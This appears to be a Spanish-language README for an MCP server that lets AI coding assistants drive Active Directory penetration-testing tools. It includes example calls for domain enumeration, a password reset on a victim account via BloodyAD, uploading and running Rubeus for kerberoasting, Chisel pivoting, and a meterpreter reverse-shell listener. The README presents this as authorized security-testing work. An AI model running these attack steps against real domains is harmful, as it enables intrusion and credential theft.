使用说明
🚀 AD Pentesting Orchestrator MCP
Professional Active Directory Penetration Testing Orchestrator con integración completa de herramientas de seguridad a través del Model Context Protocol (MCP).
✨ Características
- 🔧 Integración Real: NetExec, BloodHound, BloodyAD, Impacket
- 🎯 Servidor MCP: Compatible con Cursor, Claude, VS Code, Gemini CLI
- 🔍 Enumeración Completa: Usuarios, grupos, computadoras, políticas, ACLs
- 📊 Análisis BloodHound: Rutas de ataque, Kerberoasting, ACL abuse
- ⚔️ Explotación Controlada: Dry-run por defecto, seguro para testing
- 🖥️ CLI Integrado: Interfaz de línea de comandos completa
- 📝 Logging Profesional: Logs estructurados con timestamps
- 🌐 Multiplataforma: Windows, Linux, macOS
- 🎮 Gestión de Sesiones: Múltiples terminales simultáneas (Evil-WinRM, Chisel, Listeners)
- 🔄 Pivoting Automático: Configuración de túneles y proxies
- 📤 Upload/Download: Transferencia de archivos a sesiones remotas
📋 Requisitos
- Python 3.10 o superior
- NetExec/CrackMapExec (opcional pero recomendado)
- BloodHound + Neo4j (opcional para análisis avanzado)
- BloodyAD (opcional para explotación)
- Impacket (para ataques Kerberos)
📁 Estructura del Proyecto
ActiveDirectoryPentestingMCP/
├── src/ # Código fuente modular
│ ├── core/ # Módulos core (SessionManager)
│ ├── integrations/ # Integraciones (Impacket, Kerberos, Tools)
│ └── utils/ # Utilidades
├── docs/ # Documentación organizada
│ ├── guides/ # Guías detalladas
│ └── summaries/ # Resúmenes y reportes
├── examples/ # Ejemplos de uso
├── tests/ # Tests
└── ad_orchestrator_pro.py # Servidor MCP principal
Ver PROJECT_STRUCTURE.md para detalles completos.
🚀 Instalación Rápida
Opción 1: Instalación con pip (Recomendado)
# Clonar repositorio
git clone https://github.com/yourusername/ad-orchestrator-mcp.git
cd ad-orchestrator-mcp
# Instalar
pip install -e .
# O instalar desde PyPI (cuando esté publicado)
pip install ad-orchestrator-mcp
Opción 2: Instalación manual
# Instalar dependencias
pip install -r requirements.txt
# Copiar configuración
cp .env.example .env
cp config.json config.json
# Editar .env con tus credenciales
nano .env
Opción 3: Instalación automática en IDEs
Windows (PowerShell):
.\install.ps1 -IDE all
Linux/macOS:
chmod +x install.sh
./install.sh all
validate_environment()
Enumerar dominio completo
enumerate_domain( domain="CONTOSO.COM", dc_ip="192.168.1.10", username="administrator", password="Password123!" )
Analizar con BloodHound
analyze_bloodhound_paths( domain="CONTOSO.COM" )
Verificar credenciales
check_credentials( target="192.168.1.10", domain="CONTOSO.COM", username="testuser", password="testpass" )
Explotar con BloodyAD (DRY RUN)
exploit_with_bloodyad( domain="CONTOSO.COM", dc_ip="192.168.1.10", operator_user="admin", operator_password="pass", target_user="victim", action="set_password", new_password="NewPass123!", dry_run=True # Simulación segura )
### Gestión de Sesiones Múltiples (NUEVO)
```python
# Crear sesión Evil-WinRM en terminal separada
session = create_session(
session_type="evil-winrm",
target="192.168.1.100",
port=5985,
username="administrator",
password="Password123!"
)
# Subir Rubeus.exe
upload_file_to_session(
session_id="evil-winrm_1",
local_path="tools/Rubeus.exe",
remote_path="C:\\Windows\\Temp\\Rubeus.exe"
)
# Ejecutar Rubeus
execute_in_session(
session_id="evil-winrm_1",
command="C:\\Windows\\Temp\\Rubeus.exe kerberoast"
)
# Configurar pivoting completo (Evil-WinRM + Chisel)
pivoting = setup_pivoting_workflow(
target="192.168.1.100",
username="administrator",
password="Password123!",
chisel_server="10.10.14.5",
chisel_port=8080
)
# Configurar listener para reverse shell
listener = setup_reverse_shell_listener(
lhost="10.10.14.5",
lport=4444,
payload_type="windows/meterpreter/reverse_tcp"
)
# Listar sesiones activas
sessions = list_active_sessions()
⚙️ Configuración
Variables de Entorno (.env)
# BloodHound
BH_URI=bolt://localhost:7687
BH_USER=neo4j
BH_PASSWORD=bloodhoundcommunityedition
# Logging
LOG_LEVEL=DEBUG
# Security
DRY_RUN=true
LOG_PASSWORDS=false
Archivo de Configuración (config.json)
{
"bloodhound": {
"uri": "bolt://localhost:7687",
"user": "neo4j",
"password": "bloodhoundcommunityedition"
},
"security": {
"dry_run_by_default": true,
"log_passwords": false
}
}
🔧 Herramientas Integradas
NetExec/CrackMapExec
# Instalar NetExec
pip install netexec
# O CrackMapExec
pip install crackmapexec
BloodHound
# Iniciar Neo4j con Docker
docker run -d \
-p 7687:7687 -p 7474:7474 \
--name neo4j \
-e NEO4J_AUTH=neo4j/bloodhoundcommunityedition \
neo4j:latest
BloodyAD
pip install bloodyad
📊 Ejemplos de Uso
Ejemplo 1: Enumeración Básica
ad-orchestrator --enumerate \
--domain CONTOSO.COM \
--dc 192.168.1.10 \
-u lowpriv_user \
-p 'UserPass123'
Ejemplo 2: Análisis Completo con BloodHound
# En tu IDE con MCP
results = analyze_bloodhound_paths(domain="CONTOSO.COM")
# Ver rutas a Domain Admin
print(results["shortest_paths"])
# Ver usuarios Kerberoastable
print(results["kerberoastable_users"])
# Ver oportunidades de ACL abuse
print(results["acl_abuse_opportunities"])
Ejemplo 3: Workflow Completo
# 1. Validar entorno
validate_environment()
# 2. Enumerar dominio
enum_results = enumerate_domain(
domain="CONTOSO.COM",
dc_ip="192.168.1.10",
username="admin",
password="pass"
)
# 3. Analizar con BloodHound
bh_results = analyze_bloodhound_paths(domain="CONTOSO.COM")
# 4. Verificar credenciales encontradas
check_credentials(
target="192.168.1.10",
domain="CONTOSO.COM",
username="found_user",
password="found_pass"
)
🔐 Seguridad
⚠️ IMPORTANTE: Esta herramienta está diseñada para pentesting autorizado.
- Dry-run por defecto: Todas las operaciones de explotación se simulan primero
- Logging completo: Todas las acciones se registran
- Sin contraseñas en logs: Las credenciales se redactan automáticamente
- Validación de entorno: Verifica herramientas antes de ejecutar
Uso Responsable
# ✅ CORRECTO: Dry-run primero
exploit_with_bloodyad(..., dry_run=True)
# ⚠️ CUIDADO: Solo en entornos autorizados
exploit_with_bloodyad(..., dry_run=False)
🧪 Testing
# Instalar dependencias de desarrollo
pip install -e ".[dev]"
# Ejecutar tests
pytest
# Con cobertura
pytest --cov=ad_orchestrator_pro --cov-report=html
# Linting
black ad_orchestrator_pro.py
flake8 ad_orchestrator_pro.py
mypy ad_orchestrator_pro.py
📚 Documentación
- Guía de Instalación
- Referencia de API (próximamente)
- Ejemplos Avanzados (próximamente)
- Troubleshooting (próximamente)
🤝 Contribuir
¡Las contribuciones son bienvenidas! Por favor:
- Fork el repositorio
- Crea una rama para tu feature (
git checkout -b feature/AmazingFeature) - Commit tus cambios (
git commit -m 'Add AmazingFeature') - Push a la rama (
git push origin feature/AmazingFeature) - Abre un Pull Request
Ver CONTRIBUTING.md para más detalles.
📝 Changelog
v2.0.0 (2025-01-14)
- ✨ Servidor MCP completo con FastMCP
- ✨ CLI integrado con argparse
- ✨ Integración real con NetExec, BloodHound, BloodyAD
- ✨ Validación de entorno automática
- ✨ Configuración externa (.env, config.json)
- ✨ Logging profesional a archivo
- ✨ Setup.py y pyproject.toml para instalación
- 🐛 Correcciones de bugs críticos
- 📚 Documentación completa
📄 Licencia
Este proyecto está licenciado bajo la Licencia MIT - ver LICENSE para detalles.
⚠️ Disclaimer
Esta herramienta es solo para pentesting autorizado y investigación de seguridad.
El acceso no autorizado a sistemas informáticos es ilegal. Los autores y contribuidores no son responsables del mal uso o daños causados por este software. Úsalo bajo tu propio riesgo y solo en sistemas para los que tengas permiso explícito de prueba.
🙏 Agradecimientos
- NetExec - Herramienta de pentesting de redes
- BloodHound - Análisis de AD
- BloodyAD - Framework de explotación AD
- Impacket - Colección de clases Python
- FastMCP - Framework MCP
📞 Soporte
Hecho con ❤️ por el equipo de seguridad
